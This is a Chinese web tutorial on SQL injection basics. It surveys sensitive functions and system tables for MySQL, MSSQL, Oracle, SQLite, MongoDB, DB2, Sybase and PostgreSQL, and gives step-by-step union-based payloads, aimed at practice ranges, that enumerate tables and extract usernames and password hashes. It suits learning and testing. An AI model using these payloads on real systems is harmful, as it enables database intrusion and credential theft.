领先的免费Web技术教程,涵盖HTML到ASP.NET

网站首页 > 知识剖析 正文

SQL注入基础

nixiaole 2025-05-30 16:48:54 知识剖析 5 ℃

数据库基础知识

  • Mysql架构:数据库名-->表名-->列名-->数据
  • 需要了解每种数据库都有哪些自带数据库,数据库用户及权限
  • 需要了解数据库敏感函数,默认端口及应用
  • 需要了解数据库查询方法(增加删除修改更新)
    • 查询:
      • 功能:用户查询,新闻查询
      • SELECT * FROM news where id=$id
    • 新增:
      • 功能:用户注册,新闻添加
      • INSERT INTO news (字段名) VALUES (数据)
    • 删除:
      • 功能:用户删除,新闻删除
      • DELETE FROM news WHERE id=$id
    • 修改:
      • 功能:用户修改,新闻修改
      • UPDATE news SET id=$id

SQL注入原理

代码中执行的SQL语句存在可控变量导致SQL注入

影响SQL注入的主要因素

  • 数据库类型(权限操作)
    • 每种数据库SQL语法可能不相同
  • 数据操作方法(增删改查)
    • 操作方法不同,语法也不相同
  • 参数数据类型(符号干扰)
    • 如果不知道使用的是什么符号,无法闭合前面的符号,那无法进行SQL注入
  • 参数数据格式(加密编码等)
    • 如果代码中进行了加密编码,直接使用未加密的攻击语句,代码无法识别,导致无法进行SQL注入
    • 格式:如JSON/XML格式,不按照JSON/XML的格式进行注入,那代码无法识别,导致无法进行SQL注入
    • 有可能格式+加密编码一起使用,难度会增加(只要了解使用的格式和加密编码类型那就很简单了)
  • 提交数据方式(数据包部分)
    • GET/POST:如Cookie注入、UA注入等,简而言之,只要数据带入数据库,那就可以尝试进行攻击
  • 有无数据处理(无回显逻辑等)
    • 没有返回结果,采用盲注:如延时注入、带外注入等

黑盒/白盒如何发现SQL注入

  • 黑盒:
    • 盲对所有参数进行测试
      • 局限性:如果存在参数加密、不知道是哪种符号进行的干扰,那不可能测出漏洞
    • 整合功能点脑补进行测试
  • 白盒:
    • 审计函数(前提是熟悉代码,最基本的是能看懂)

常见SQL注入的利用过程

  1. 判断数据库类型
  2. 判断参数类型及格式
  3. 判断数据格式及提交
  4. 判断数据回显及防护
  5. 获取数据库名->表名->列名
  6. 获取对应数据(一般是关键数据,如管理员)及尝试其他利用

数据库分类

Access

  • 已经基本淘汰 意义不大
  • 敏感函数:
    • 文件操作:TransferDatabase(跨数据库操作)、FileCopy(文件复制)
    • 系统交互:Shell()(调用系统命令,高危)
    • OLE自动化:CreateObject("WScript.Shell")(执行系统命令)
  • 端口:无固定端口,通常通过文件共享或ODBC连接

Mssql

  • 如何判断数据库类型:
    • 根据后缀判断:后缀一般为aspx
    • 根据报错信息判断:一般报错信息中有Microsoft等字样
    • 根据系统表判断:and (select count(*)from sysdatabases) >
  • 三大系统表:
    • sysdatabases:保存在master数据库中,里边的name字段下存放的是所有数据库的库名
    • sysobjects:这张表保存的是数据库的表的信息
    • syscolumns:这张表存放的是数据库中字段的信息
  • 主要函数:
    • host_name() :返回服务器端主机名称
    • current_user():返回当前数据库用户
    • db_name():返回当前数据库库名
  • 敏感函数:
    • 系统命令执行:
      • xp_cmdshell(直接执行OS命令,默认禁用)
      • sp_OACreate+sp_OAMethod(通过COM组件执行命令)
    • 文件操作:
      • xp_dirtree(列目录)
      • BULK INSERT(加载外部文件)
      • 注册表操作:xp_regread(读取注册表)
    • 端口:1433,命名实例动态端口需额外扫描

测试网站:http://vulnweb.com/

and exists (select * from sysobjects) //判断是否是MSSQL


and exists (select * from tableName) //判断某表是否存在tableName为表名


and 1=(select @@VERSION) //MSSQL版本


and 1=(select @@servername) //本地服务名


and 1=(select db_name()) //当前数据库名


and 1=(select user_name()) //判断用户权限,一般dbo就是最高权限


and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) //判断是否是系统管理员


and 1=(Select IS_MEMBER(‘db_owner’)) //判断是否是库权限


and 1= (Select HAS_DBACCESS(‘master’)) //判断是否有库读取权限

Mysql

  • 敏感函数:
    • 文件读写:
      • LOAD_FILE()(读取文件)
      • SELECT ... INTO OUTFILE(写入文件)
    • 系统命令执行:
      • sys_exec()(需启用lib_mysqludf_sys扩展)
    • 权限提升:
      • SUPER权限相关操作(如修改my.cnf)
  • 端口:3306
  • 查版本:version()
  • 查数据库用户:user()
  • 查当前用户名:current_user()
  • 查连接数据库的用户名:session_user()
  • 查系统用户名:system_user()
  • 查操作系统:@@version_compile_os
  • 查数据库:database()
  • 查数据库路径:@@datadir
  • 查数据库安装路径:@@basedir
  • 查当前机器的机器名:@@hostname
  • 查日志文件存放位置:show variables like ‘log_%’;
    • 前提:开启查询日志功能
  • MYSQL5.0以上版本:自带的数据库名information_schema
    • 数据库:
      • information_schema:存储数据库下的数据库名及表名,列名信息的数据库
    • 表:
      • information_schema.schemata:
        • 记录数据库名信息的表
      • information_schema.tables:
        • 记录表名信息的表
      • information_schema.columns:
        • 记录列名信息表
    • 列:
      • schema_name:
        • information_schema.schemata
          • 记录数据库名信息的列名值
      • table_schema:
        • information_schema.tables
          • 记录数据库名的列名值
      • table_name:
        • information_schema.tables
          • 记录表名的列名值
      • column_name:
        • information_schema.columns
          • 记录列名的列名值

靶场:
https://mozhe.cn/Special/SQL_Injection

或者不想开靶场,可以使用Fofa搜索在线MySQL靶场

Fofa搜索:"SQLi-Labs"

1.判断是否存在注入:
id=1 and 1=1 --+		#页面正常
id=1 and 1=2 --+		#页面异常,存在注入(或者使用id=1awsfas来直接进行判断)
2.判断列数:
id=1 order by 4 --+		#页面正常时,数字为几,就代表存在几列
3.判断回显点:
id=-1 union select 1,2,3,4 --+	#哪个数字显示出来就代表回显点是几
4.查询当前数据库名:
id=-1 union select 1,database(),3,4 --+
5.查询表名:
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'--+
6.查询列名:
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' --+
7.获取数据:
id=-1 union select 1,2,group_concat(id,name,password),4 from StormGroup_member --+
8.解密得到的密码

常用函数


连接函数

  • concat():没有分隔符的连接字符串,当有Null时会直接返回Null
    • 用法:CONCAT(str1,str2,...)
  • concat_ws():有分隔符的连接字符串
    • 用法:CONCAT_WS(separator,str1,str2,...)
    • 可解决返回值中有Null值的数据
  • group_concat():连接一个组内的所有字符串
    • 用法:GROUP_CONCAT(expr)
    • 可绕过行数限制

其他函数

  • if(条件,为真返回,为假返回)
    • SELECT IF(SUBSTR((select User from `user` limit 1),1,1)='o',sleep(2),0) from `user`
      • 如果字符串的第一位为o,睡眠两秒,否则返回0
  • sleep():睡眠
    • 用法:sleep(5)
  • substr():返回字符串的一部分
    • 用法:SUBSTR('字符串内容','起始位置','长度')
  • ascii():返回字符串的ASCII代码值
    • 用法:ascii('a')
    • ASCII转换工具:CaptfEncoder
  • mid():返回字符串的一部分
    • 用法:mid('字符串内容','起始位置','长度')
  • left():返回字符串最左侧的几个字符
    • 用法:left('字符串内容','长度')
  • right():从右开始截取字符串的一部分
    • 用法:right('字符串内容','长度')
  • length():返回字符串长度
    • 用法:length('字符串内容')
  • ord():返回字符串的第一个字符的ASCII
    • 用法:ord('bc')
  • hex():将目标字符串转换为16进制格式的数据
    • 用法:hex(字符)

Oracle

  • 敏感函数:
    • 系统交互:
      • UTL_HTTP(发起HTTP请求)
      • DBMS_SCHEDULER(计划任务执行命令)
    • 文件操作:
      • UTL_FILE(读写服务器文件)
      • BFILENAME(访问外部文件)
    • Java扩展:
      • DBMS_JAVA(执行Java代码)
  • 端口:1521,监听器端口可能开放6200/8080
  • 自带表:
    • dual
  • 内置表:
    • dba_tables:系统里所有表信息,需要DBA权限才能查询
    • all_tables:当前用户有权限的表信息
    • user_tables:当前用户名下的表信息
    • DBA_ALL_TABLES:DBA用户所拥有的或有访问权限的对象和表
    • ALL_ALL_TABLES:某一个用户拥有的或有访问权限的对象和表
    • USER_ALL_TABLES:某一用户所拥有的对象和表
  • 权限和用户:
    • DBA:拥有全部权限,系统最高权限,只有DBA才可以创建数据库结构
    • RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构
    • CONNECT:拥有CONNECT权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构
  • 常用查询语句:
    • 当前用户权限:select * from session_roles
    • 当前数据库版本:select banner from sys.v_$version where rownum=1
    • 服务器操作系统 :select member from v$logfile where rownum=1
    • 服务器suid:select instance_name from v$instance
    • 当前连接用户:select SYS_CONTEXT ('USERENV','CURRENT_USER') from dual
    • 当前用户:select user from dual
    • 查询出所有的表:select * from all_tables
    • 查询出当前用户的表:select * from user_tables
    • 查询出所有的字段:select * from all_tab_columns
    • 查询出当前用户的字段:select * from user_tab_columns
    • 查版本:select * from v$version
    • 单行注释符:--
    • 多行注释符:/**/
    • 限制查询返回的总行数为一条:rownum=1

1.判断闭合方式:
id=1 and 1=1	#页面正常
id=1 and 1=2	#页面异常
2.判断字段列数:
id=1 order by 2		#页面正常时,数字为几,就代表存在几列
3.寻找注入点:
id=1 union select 'null','null' from dual --+	#哪个数字显示出来就代表注入点是几
4.查询数据库版本信息:
id=1 union select 'null',(select banner from sys.v_$version where rownum=1) from dual
5.查询当前数据库名:
id=1 union select 'null',(select instance_name from V$INSTANCE) from dual
6.查询当前数据库表名:
id=1 union select 'null',(select table_name from user_tables where rownum=1) from dual	#查询出第一张表名:'LOGMNR_SESSION_EVOLVE#39;
id=1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE#39;) from dual	#查询出第二张表名:'LOGMNR_GLOBAL#39;
id=1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE#39; and table_name not in 'LOGMNR_GLOBAL#39; ) from dual	#查询出第三张表名:'LOGMNR_GT_TAB_INCLUDES'
id=1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1 ) from dual	#模糊查询带有user名字的表名,找到目标表'sns_users'
7.查询数据库列名:
id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 )from dual	#找到第一列'USER_NAME'
id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1and column_name not in 'USER_NAME' )from dual	#找到第二列'USER_PWD'
id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name not in 'USER_NAME' and column_name not in 'USER_PWD'  )from dual		#找到第三列'STATUS'
id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name not in 'USER_NAME' and column_name not in 'USER_PWD' and column_name not in 'STATUS' )from dual		#如果没有任何信息返回,说明找到了全部列
8.获取数据:
id =- 1 union select USER_NAME , USER_PWD from "sns_users" where r ownum= 1		#获取第一列数据
id =- 1 union select USER_NAME , USER_PWD from "sns_users" where r ownum= 1 and USER_NAME <> 'zhong'	#获取第二列数据
id =- 1 union select USER_NAME , USER_PWD from "sns_users" where rownum= 1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'		#获取第三列数据
9.解密获取到的数据

SQLite

  • 敏感函数:
    • 文件操作:
      • .dump(导出数据)
      • .import(导入外部数据)
    • 动态加载扩展:
      • load_extension()(加载外部库)
  • 端口:无网络端口,本地文件型数据库
  • sqlite_master表:保存数据库表的关键信息
  • 查版本:union select 1,sqlite_version();
  • 查表名:union select 1,sql from sqlite_master where type='table';
  • 查字段:union select 1,sql from sqlite_master where type='table' and name='ctf';
  • 查指定列的值:union select id,name,pwd from "awdp";
SQLite特定表:sqlite_master,里面的字段:type/name/tbl_name/rootpage/sql记录着用户创建表的信息
1.判断是否存在注入:
?id=1 and 1=1	#页面正常
?id=1 and 1=2	#页面异常
2.判断字段列数:
?id=1 order by 4		#页面正常时,数字为几,就代表存在几列
3.判断回显点:
?id=1 union select 1,2,3,4
4.判断表的字段值:
?id=1 union select 1,name,sql,4 from sqlite_master limit 0,1
5.确定用户名密码:
?id=1 union select 1,name,password,4 from WSTMart_reg
6.解密获取到的数据

MongoDB

  • 敏感函数:
    • JavaScript执行:
      • $where(注入JS代码)
      • db.eval()(执行服务器端JS)
    • 文件操作:
      • GridFS API(存储/读取大文件)
  • 端口:27017,未授权访问漏洞高发
  • 创建数据库:use DATABASE_NAME ,如果存在该数据库则切换,不存在则创建该数据库
  • 查看所有数据库:show dbs
  • 删除当前数据库:db.dropDatabase()
  • 查看当前数据库:db.getName()
  • 查看数据库版本:db.version()
  • 插入数据:db.COLLECTION_NAME.insert(document)
  • 查询数据:db.COLLECTION_NAME.find(query)
  • 比较语句:$gt、$lt、$gte、$lte
给出的源码中,闭合方式:'});return
1.构造回显:
?id=1'});return ({title:'1',content:'2
2.查询数据库名:
?id=1'});return({title:tojson(db),content:'2
3.查询表名:
?id=1'});return({title:tojson(db.getCollectionNames()),conten t:'2 
4.查询数据:
?id=1'});return({title:tojson(db.Authority_confidential.find() [0]),content:'2
5.解密数据

DB2:

  • 敏感函数:
    • 系统命令执行:
      • SYSPROC.ADMIN_CMD()(执行OS命令)
      • db2dart(需高权限)
    • 文件操作:
      • LOAD(导入外部文件)
  • 端口:50000,管理端口50050也可能暴露
  • 系统表:
    • sysibm.systables:存储所有表的基础信息(需结合tabschema过滤当前库)
    • syscat.tables:包含更详细的表元数据(如表名、模式名)
    • sysibm.syscolumns:记录列名及类型
  • 函数:
    • 获取当前库名:current schema
    • 版本查询:SELECT service_level FROM sysibmadm.env_inst_info
    • 分页语法:LIMIT offset,count(不同于Oracle的ROWNUM或MSSQL的TOP)
1.判断是否存在注入:
id=1 AND 1=1  -- 正常回显
id=1 AND 1=2  -- 异常或无数据
2.确定字段数:
id=1 ORDER BY 5
获取表名:id=-1 union select 1,2,3,4 from syscat.tables
3.爆库名:
id=-1 union select 1,current schema,current server,4 from sysibm.sysdummy1
4.爆表名:
id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
5.爆列名:
id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 1,1
id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 2,1
6.获取数据:
id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 0,1
id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 1,1

Sybase

  • 敏感函数:
    • 系统命令:
      • xp_cmdshell(类似MSSQL)
      • sp_configure(修改配置)
    • 文件操作:
      • bcp(批量数据导出)
  • 端口:5000,历史版本存在弱密码问题
  • 系统表:
    • master..syslogins:存储登录账户信息(如用户名、密码哈希)
    • sysobjects:记录数据库对象(表、视图等),需结合xtype='U'筛选用户表
  • 注释符:仅支持--和/* */,不支持#
  • 查询语法:与MS SQL Server高度兼容(同源技术),但分页语法为TOP n而非LIMIT
1.判断是否存在注入:
id=1 AND 1=1  -- 正常回显
id=1 AND 1=2  -- 异常或无数据
2.确定字段数:
id=1 ORDER BY 5 --
3.爆库名:
id=-1 union all select null,db_name(),null,null
4.爆表名:
id=-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.sysobjects
5.爆列名:
id=-1 union all select null,name,null,null from mozhe_Deepthroat..syscolumns where id=object_id('Deepthroat_login')
爆其他列名:
id=-1 union all select null,name,null,null from mozhe_Deepthroat..syscolumns where id=object_id('Deepthroat_login') and name<>'id'
6.获取数据:
id=-1 union all select null,name,null,null,null from Deepthroat_login
id=-1 union all select null,password,null,null,null from Deepthroat_login

PostgreSQL

  • 敏感函数:
    • 系统命令执行:
      • COPY TO PROGRAM(执行OS命令)
      • pg_exec()(需扩展支持)
    • 文件操作:
      • pg_read_file()(读取文件)
      • lo_export(导出大对象文件)
  • 端口:5432,常与phpAdmin等管理工具联合使用
https://blog.csdn.net/2401_88387979/article/details/144275425
1.判断是否存在注入:
?id=1 and 1=1	#页面正常
?id=1 and 1=2	#页面异常
2.判断字段列数:
?id=1 order by 4		#页面正常时,数字为几,就代表存在几列
3.判断回显点:
?id=1 and 1=2 union select 'null',null,null,null
?id=1 and 1=2 union select null,'null',null,null 	#哪个字段显示出来哪个就是回显点
4.获取数据库名:
?id=1 and 1=2 union select null,null,string_agg(datname,','),null from pg_database
5.获取表名:
?id=1 and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
6.查询字段名:
?id=1 and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
7.获取数据:
?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
8.解密数据
最近发表
标签列表